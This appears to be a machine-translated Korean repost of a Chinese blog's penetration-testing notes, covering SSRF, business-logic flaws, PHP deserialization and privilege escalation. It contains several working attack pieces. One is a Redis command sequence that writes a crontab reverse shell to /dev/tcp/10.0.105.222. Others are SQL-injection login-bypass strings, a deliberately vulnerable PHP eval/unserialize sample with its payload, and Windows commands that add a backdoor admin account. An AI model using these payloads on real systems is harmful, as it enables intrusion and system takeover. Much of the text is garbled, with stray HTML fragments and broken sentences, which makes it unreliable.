SSRF 취약점의 마이닝 지점(실제 전투를 많이 수행하면 실제 전투 없이는 주입 지점을 찾을 수 없습니다)< a i=19> 외부 네트워크 요청이 시작되는 곳 어디든 존재할 수 있음 이미지 로딩 및 다운로드, 페이지 공유, 온라인 번역, 미공개 API(원격 서버에 파일 처리 지원 요청, 인코딩 처리, 속성 정보 처리 지원 요청) 등 SSRF 취약점 공유: URL 주소 웹 콘텐츠를 통한 공유 트랜스코딩 서비스: URL 주소를 통해 원래 주소의 웹 콘텐츠를 최적화하여 모바일 화면 탐색에 적합하게 만듭니다.< /span> IP 주소가 16진수 115.239.210.26 = 16373751032로 변환됩니다. 우회: http://A.com @10.10.10.10 SSRF, burpsuite 캡처 패킷 존재 확인 URL 키워드에서 검색: share,wap,url,link,src,source ,target,u,3g,display,sourceURI,imageURL,domain 이미지 로딩 및 다운로드: URL 주소를 통해 이미지 로드 또는 다운로드 온라인 번역: URL 주소를 통해 해당 텍스트 번역 내용








SSRF 방어
프로토콜 제한: http 및 https 요청만 허용
IP 제한: 애플리케이션이 인트라넷 데이터를 얻는 데 사용되는 것을 방지
제한된 포트: 요청 포트를 80,443,8080,8090과 같은 일반 http 포트로 제한합니다.

위의 취약점은 코드 감사를 통해 탐지할 수 있습니다.

실제 전투: Weblogic은 승인 없이 ssrf에서 redis로 getshell에 액세스합니다.
redis 데이터베이스, 사용자 이름과 비밀번호 없이 데이터베이스에 액세스하고 파일을 읽고 쓸 수 있습니다.
패킷을 캡처하여 IP 주소가 제출된 위치를 확인한 다음 어느 위치가 ssrf일 수 있는지 유추합니다. 결국 블랙박스입니다.
Redis 데이터베이스 포트 6379는 사용자에게 제공할 필요가 없습니다. 이름과 비밀번호, 루트 권한이 있습니다.
Redis 데이터를 사용하여 파일 읽기 및 쓰기 작업을 구현하고, 예약된 작업을 /etc/crontab 파일에 쓰고, 리바운드 쉘을 구현합니다.
파일 읽기 및 쓰기 구문:
set 1”\n\n\n\n* * * * * root bash -i >& /dev/tcp/10.0.105.222/ 777 0>&1\n\n\n \n”
config set dir /etc/
config set dbfilename crontab
저장
그런 다음 URL 인코딩을 수행해야 합니다

비즈니스 보안 테스트

비즈니스 흐름도 그리기
범용 사용자 이름|password
ajest' 또는 1=1 # /Password 로그인을 허용하려면 선택적 계정이 있어야 할 수도 있습니다. 모든 사용자가 로그인할 수 있습니다.
ajest' 또는 '1'='1 / 비밀번호는 임의입니다.
ajext' # //

비즈니스 데이터 보안
상품 결제 금액 조작
프런트엔드 JS 제한 우회
재생 테스트 요청< /span> a> http://www.xxx.com/findpwd ?uis=xx-uu-xx-sxx&token=1497515314 페이지를 새로 고칠 때만 인증 코드를 새로 고칠 수 있다면 인증 코드를 재사용할 수 있다는 의미이기도 합니다. 확인 코드 우회: 때때로 확인 코드가 쿠키에 존재하여 확인 코드를 재사용할 수 있고 패키지를 직접 재생할 수 있음을 나타냅니다. 인터페이스 매개변수 계정 수정: 즉, 계정 비밀번호가 재설정되어 비밀번호가 수정되면 사용자 변경을 고려할 수 있습니다. 인증 코드를 허용하는 휴대폰 번호를 변경하고 계정 변경을 고려하십시오. 이메일을 받는 사람 다음 요청을 보낼 링크를 엽니다. 토큰 폭발 약한 토큰 설계 결함 테스트: 이는 토큰이 폭발할 수 있으며 이메일을 통해 비밀번호를 검색할 수 있음을 의미합니다. 세션 적용 범위 : 때때로 서버는 현재 세션을 읽어 비밀번호를 변경해야 하는 계정을 결정하고, 세션의 내용을 수정하고, 변경할 사용자 이름이나 이름을 변경하려고 시도합니다. 인증코드를 받기 위한 휴대폰 번호로, 본인의 휴대폰 번호를 통해 인증코드를 받을 수 있습니다. 인증코드는 모든 사용자의 비밀번호를 재설정하는 데 사용될 수 있으므로 이 비즈니스의 논리를 이해하는 것이 필요합니다. 응답 상태 값 수정 테스트 확인 코드 무차별 대입 크랙 a> 비밀번호 검색 보안 상품 주문 수량 변조
영업 상한 테스트











역직렬화 취약점

직렬화는 저장과 전송을 이용하여 객체를 전송할 수 있는 문자열로 바꾸는 것입니다.
PHP 역직렬화 취약점은 PHP 객체 주입이라고도 합니다. 취약점이 발생하는 이유는 다음과 같습니다. 프로그램은 사용자가 입력한 역직렬화된 문자열을 감지하지 못합니다. 즉, 사용자가 역직렬화된 문자열을 입력할 수 있는 인터페이스가 있어 역직렬화 프로세스가 악의적으로 제어되어 코드가 실행됩니다. getshell
PHP 직렬화 및 역직렬화는 기본적으로 serialize() 및 unserialize()를 중심으로 이루어집니다.
취약점 전제는 사용자에게 직렬화된 문자열을 입력할 수 있는 인터페이스를 제공하거나 역직렬화된 변수 값을 공격자는 serialize() 함수와 unserizlize() 함수를 사용하여 매직 메소드를 호출하고 매직 메소드에서 eval() 함수를 호출합니다. eval() 함수의 매개변수는 공격자가 제어할 수 있습니다.


<?php
class Test{
    
    
public $str=AJEST;function __destruct(){
    
    
@eval($this->str);  //当在反序列化时$str变量被攻击者控制,传入恶意代码执行
}
}
$test = new Test();
$t = $_GET[‘obj’];    //参数$t被攻击者控制  传入序列化后的数据
var_dump(unserialize($t));  //unserizlize()函数的执行自动调用__destruct()函数的执行

&obj=[O:4:”Test”:1:{
    
    s:3:”str”;s:10:phpinfo();;}]这串参数就构造了一个类,并指定了$strphpinfo(), 并调用了__destruct()->eval(phpinfo()) 

__로 시작하는 메소드는 PHP의 매직 메소드이며 특정 상황에서 자동으로 호출됩니다.
객체를 생성할 때 __construct()가 자동으로 호출됩니다.
__destruct()는 객체가 소멸될 때 자동으로 호출됩니다.
__call()은 객체에서 액세스할 수 없는 메서드가 호출될 때 호출됩니다.
정적 컨텍스트에서 __callStatic() 액세스할 수 없는 메서드가 호출될 때 호출됩니다.
액세스할 수 없는 속성의 값을 읽을 때 __get()이 호출됩니다.
액세스할 수 없는 속성에 값을 할당할 때 __set()이 호출됩니다. 호출된 속성
__isset() 액세스할 수 없는 속성에 대해 isset() 또는 empty()를 호출할 때 호출됩니다.
__unset() 액세스할 수 없는 속성에 대해 unset()을 호출할 때 속성은
__sleep()
__wakeup()
__toString()
__invoke일 때 호출됩니다. ( )
__set_state()
__clone()
__debugInfo()

serialize() 함수는 레이 씨에게 매직 메소드가 있는지 확인하고, 매직 메소드가 있으면 해당 메소드를 먼저 호출합니다.

권한 상승

수평적 권한 상승
수직적 권한 상승 일반 사용자가 관리자 권한이 됨 웹 사용자가 권한을 상승하여 관리자 사용자가 됨
Webshell 기반 권한 상승 포트 검색 보조/스캐너/portscan/ Telnet 서비스 SSH 서비스 확인 MSSQL 서비스 확인 호스트 검색 모듈/auxiliary/scanner/discovery/ MSSQL xp_cmdshell cmd 명령< /span> 명령 구문 분석기 취약성 라이브러리 kali를 검색하여 http 서비스를 열고 권한 에스컬레이션 스크립트를 실행합니다. Linux는 시스템을 사용합니다. 권한 에스컬레이션 취약점 -커널 권한 에스컬레이션 타사 소프트웨어가 시스템 정보를 수집합니다. 권한 에스컬레이션 보조 스크립트 windows nc.exe powershell 역방향 셸 정방향 셸 영구 연결 설정을 위한 웹셸 기반 리바운드 셸 리바운드 셸 MYSQL 권한 에스컬레이션 데이터베이스 권한 에스컬레이션 net localgroup 관리자 back /add net user hack 123 .com /add Windows 사용자 생성 방법 휴지통 캐시 로그 쓰기 권한이 있어야 하는 디렉터리 디렉터리 및 권한 권한 에스컬레이션 exp를 업로드할 수 없습니다. 불가능 cmd 명령을 실행하려면 패치, 허점 및 악용 찾기 시스템 취약점 및 권한 상승 획득 후 webshell을 사용하면 시스템 또는 관리자 권한을 갖게 됩니다. 권한 상승에 대한 Windows 시스템 취약성 asp 스크립트 권한이 상대적으로 낮음
IIS aspx Malaysia






























이 취약점은 주로 웹 서비스에서 제공하는 기능에 따라 달라지며, 정적인 페이지이고 서버의 로컬 리소스나 URL 리소스를 획득하는 방법이 없다면 이 취약점에 대해서는 언급하지 않겠습니다. 취약점이 더 많이 존재합니다.

Python exp 스크립트 테스트

요청 모듈
사용자 정의 헤더 User-Agent
시간 초과
GET 매개변수 전송
POST 매개변수 전송
파일 업로드
첫 번째 사전 변수는 업로드 페이지의 업로드 양식 이름에 해당하는 업로드 파일 사전 변수의 키를 지정합니다.
두 번째 사전 변수는 업로드 버튼 키가 제출 버튼의 이름에 해당하고 값이 제출 버튼의 유형에 해당함을 지정합니다.
쿠키 보내기 정보

추천

출처blog.csdn.net/xuanyitwo/article/details/131437224